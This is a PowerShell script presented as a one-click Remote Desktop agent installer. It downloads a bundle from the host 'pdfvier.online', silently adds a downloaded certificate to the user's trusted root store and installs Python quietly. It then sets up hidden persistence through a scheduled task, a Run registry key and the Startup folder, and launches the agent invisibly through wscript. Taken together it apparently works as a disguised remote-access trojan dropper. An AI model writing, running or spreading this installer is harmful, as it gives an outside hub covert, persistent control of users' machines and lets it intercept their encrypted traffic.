# Remote Desktop Windows 1-Click Zero-Intervention Agent Installer $ErrorActionPreference = "Stop" [Console]::OutputEncoding = [System.Text.Encoding]::UTF8 [Console]::InputEncoding = [System.Text.Encoding]::UTF8 $env:PYTHONIOENCODING = "utf-8" $env:PYTHONUTF8 = "1" Write-Host "==========================================================" -ForegroundColor Cyan Write-Host " Remote Desktop - Windows Host Setup " -ForegroundColor Cyan Write-Host "==========================================================" -ForegroundColor Cyan $HubUrl = "https://pdfvier.online" $Token = "" $InstallDir = "$env:USERPROFILE\\.remote-desktop" Write-Host "[0/4] Purging former stale setups and terminating lingering processes..." -ForegroundColor Yellow Stop-Process -Name python, pythonw, RemoteDesktop -Force -ErrorAction SilentlyContinue Start-Sleep -Milliseconds 800 Unregister-ScheduledTask -TaskName "RemoteDesktopAgent" -Confirm:$false -ErrorAction SilentlyContinue 2>$null | Out-Null Unregister-ScheduledTask -TaskName "RemoteDesktopHost" -Confirm:$false -ErrorAction SilentlyContinue 2>$null | Out-Null $startupVbs = [System.IO.Path]::Combine([System.Environment]::GetFolderPath('Startup'), 'RemoteDesktopAgent.vbs') Remove-Item -LiteralPath $startupVbs -Force -ErrorAction SilentlyContinue Remove-Item -LiteralPath "$InstallDir\\credentials.json" -Force -ErrorAction SilentlyContinue Remove-Item -LiteralPath "$InstallDir\\phase1" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "[1/4] Fetching Remote Desktop Windows bundle from Hub..." -ForegroundColor Yellow $ZipPath = "$env:TEMP\\RemoteDesktopAgent-Windows.zip" try {{ Invoke-WebRequest -Uri "$HubUrl/download/windows?zip=1" -OutFile $ZipPath -UseBasicParsing Unblock-File -Path $ZipPath -ErrorAction SilentlyContinue }} catch {{ Write-Host "[!] Failed to download bundle: $_" -ForegroundColor Red exit 1 }} Write-Host "[2/4] Extracting package into $InstallDir..." -ForegroundColor Yellow Expand-Archive -LiteralPath $ZipPath -DestinationPath $InstallDir -Force Get-ChildItem -LiteralPath $InstallDir -Recurse -ErrorAction SilentlyContinue | Unblock-File -ErrorAction SilentlyContinue try {{ $caPath = "$env:TEMP\\RemoteDesktopCA.cer" Invoke-WebRequest -Uri "$HubUrl/download/cert" -OutFile $caPath -UseBasicParsing -ErrorAction SilentlyContinue if (Test-Path -LiteralPath $caPath) {{ Import-Certificate -FilePath $caPath -CertStoreLocation "Cert:\CurrentUser\Root" -ErrorAction SilentlyContinue | Out-Null Remove-Item -LiteralPath $caPath -Force -ErrorAction SilentlyContinue }} }} catch {{}} Remove-Item -LiteralPath $ZipPath -Force -ErrorAction SilentlyContinue if (Test-Path -LiteralPath "$InstallDir\\phase1") {{ Copy-Item -LiteralPath "$InstallDir\\phase1\\*.py" -Destination "$InstallDir" -Force -ErrorAction SilentlyContinue }} $pth = "$InstallDir\\python_embed\\python312._pth" if (Test-Path -LiteralPath $pth) {{ $pthRaw = Get-Content -LiteralPath $pth -Raw if ($pthRaw -notmatch "\.\.") {{ Set-Content -LiteralPath $pth -Value ("..`r`n..\phase1`r`n" + $pthRaw) -Encoding Ascii }} }} function Test-RealPython($p) {{ if (-not $p -or -not (Test-Path -LiteralPath $p)) {{ return $false }} if ($p -like "*WindowsApps*") {{ return $false }} try {{ $res = & "$p" -c "import sys; print(sys.version_info[0])" 2>$null return ($res -eq "3") }} catch {{ return $false }} }} Write-Host "[3/4] Preparing Python environment and wheels..." -ForegroundColor Yellow $PythonCmd = $null $candidates = @( "$InstallDir\\python_embed\\python.exe", "$env:LOCALAPPDATA\\Programs\\RemoteDesktop\\resources\\python_embed\\python.exe", "$env:LOCALAPPDATA\\Programs\\remote-desktop\\resources\\python_embed\\python.exe", "$env:ProgramFiles\\RemoteDesktop\\resources\\python_embed\\python.exe", "$env:ProgramFiles\\remote-desktop\\resources\\python_embed\\python.exe", "$InstallDir\\venv\\Scripts\\python.exe", "$InstallDir\\.venv\\Scripts\\python.exe", "$env:LOCALAPPDATA\\Programs\\Python\\Python312\\python.exe", "$env:LOCALAPPDATA\\Programs\\Python\\Python311\\python.exe", "$env:LOCALAPPDATA\\Programs\\Python\\Python313\\python.exe", "$env:LOCALAPPDATA\\Programs\\Python\\Python310\\python.exe", "$env:ProgramFiles\\Python312\\python.exe", "$env:ProgramFiles\\Python311\\python.exe", "$env:ProgramFiles\\Python313\\python.exe", "C:\\Python312\\python.exe", "C:\\Python311\\python.exe" ) foreach ($c in $candidates) {{ if (Test-RealPython $c) {{ $PythonCmd = $c; break }} }} if (-not $PythonCmd) {{ $pyLauncher = Get-Command py.exe -ErrorAction SilentlyContinue if ($pyLauncher -and (Test-RealPython $pyLauncher.Source)) {{ $PythonCmd = $pyLauncher.Source }} }} if (-not $PythonCmd) {{ Write-Host "[*] No real Python found (bypassed WindowsApps shim). Auto-installing Python 3.12..." -ForegroundColor Cyan $installerPath = "$env:TEMP\\python-installer.exe" try {{ Invoke-WebRequest -Uri "$HubUrl/download/python.exe" -OutFile $installerPath -UseBasicParsing }} catch {{ Invoke-WebRequest -Uri "https://www.python.org/ftp/python/3.12.3/python-3.12.3-amd64.exe" -OutFile $installerPath -UseBasicParsing }} Write-Host "[*] Installing Python silently (takes ~30-45 seconds)..." -ForegroundColor Cyan Start-Process -FilePath $installerPath -ArgumentList "/quiet InstallAllUsers=0 PrependPath=1 Include_pip=1" -Wait Remove-Item -LiteralPath $installerPath -Force -ErrorAction SilentlyContinue $env:Path = [System.Environment]::GetEnvironmentVariable("Path","User") + ";" + [System.Environment]::GetEnvironmentVariable("Path","Machine") + ";" + $env:Path foreach ($c in $candidates) {{ if (Test-RealPython $c) {{ $PythonCmd = $c; break }} }} }} if (-not $PythonCmd) {{ Write-Host "[!] Please install Python 3 from https://www.python.org/downloads/ to complete setup." -ForegroundColor Red exit 1 }} $isEmbed = $PythonCmd -like "*python_embed*" if (-not $isEmbed) {{ $VenvDir = "$InstallDir\\venv" $VenvPython = "$VenvDir\\Scripts\\python.exe" $VenvPip = "$VenvDir\\Scripts\\pip.exe" if (-not (Test-Path -LiteralPath $VenvPython)) {{ & $PythonCmd -m venv $VenvDir }} if (Test-Path -LiteralPath $VenvPip) {{ & $VenvPip install --upgrade pip --quiet & $VenvPip install -r "$InstallDir\\requirements.txt" --quiet }} else {{ & $PythonCmd -m pip install -r "$InstallDir\\requirements.txt" --quiet }} }} # Write configuration $Config = @{{ hub_url = $HubUrl enrollment_token = $Token port = 8081 }} | ConvertTo-Json Set-Content -LiteralPath "$InstallDir\\device_config.json" -Value $Config Write-Host "[4/4] Configuring persistent auto-start on boot & launching..." -ForegroundColor Yellow $VbsPath = "$InstallDir\\run_silent.vbs" $TaskName = "RemoteDesktopAgent" try {{ $a = New-ScheduledTaskAction -Execute 'wscript.exe' -Argument "`"$VbsPath`"" $t = New-ScheduledTaskTrigger -AtLogOn $s = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0 Register-ScheduledTask -TaskName $TaskName -Action $a -Trigger $t -Settings $s -Force 2>$null | Out-Null }} catch {{ schtasks.exe /create /tn $TaskName /tr "\\`"wscript.exe\\`" \\`"$VbsPath\\`"" /sc onlogon /rl highest /f 2>$null | Out-Null }} try {{ Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "RemoteDesktopAgent" -Value "wscript.exe `"$VbsPath`"" -Force -ErrorAction SilentlyContinue | Out-Null }} catch {{}} $StartupFolder = [System.Environment]::GetFolderPath('Startup') if (Test-Path -LiteralPath $StartupFolder) {{ Copy-Item -LiteralPath $VbsPath -Destination "$StartupFolder\\RemoteDesktopAgent.vbs" -Force }} # Start immediately in background Start-Process "wscript.exe" -ArgumentList "\\`"$VbsPath\\`"" Write-Host "==========================================================" -ForegroundColor Green Write-Host " Success! Remote Desktop Agent installed & running!" -ForegroundColor Green Write-Host " Auto-Start: Enabled on logon (Task Scheduler & Startup)" -ForegroundColor Green Write-Host " Connected to Hub: $HubUrl" -ForegroundColor Green Write-Host "==========================================================" -ForegroundColor Green